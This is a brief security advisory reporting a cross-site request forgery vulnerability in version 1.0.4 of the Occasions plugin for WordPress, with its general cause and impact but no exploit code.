The Occasions plugin for WordPress is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible.

Occasions 1.0.4 is vulnerable; other versions may also be affected.
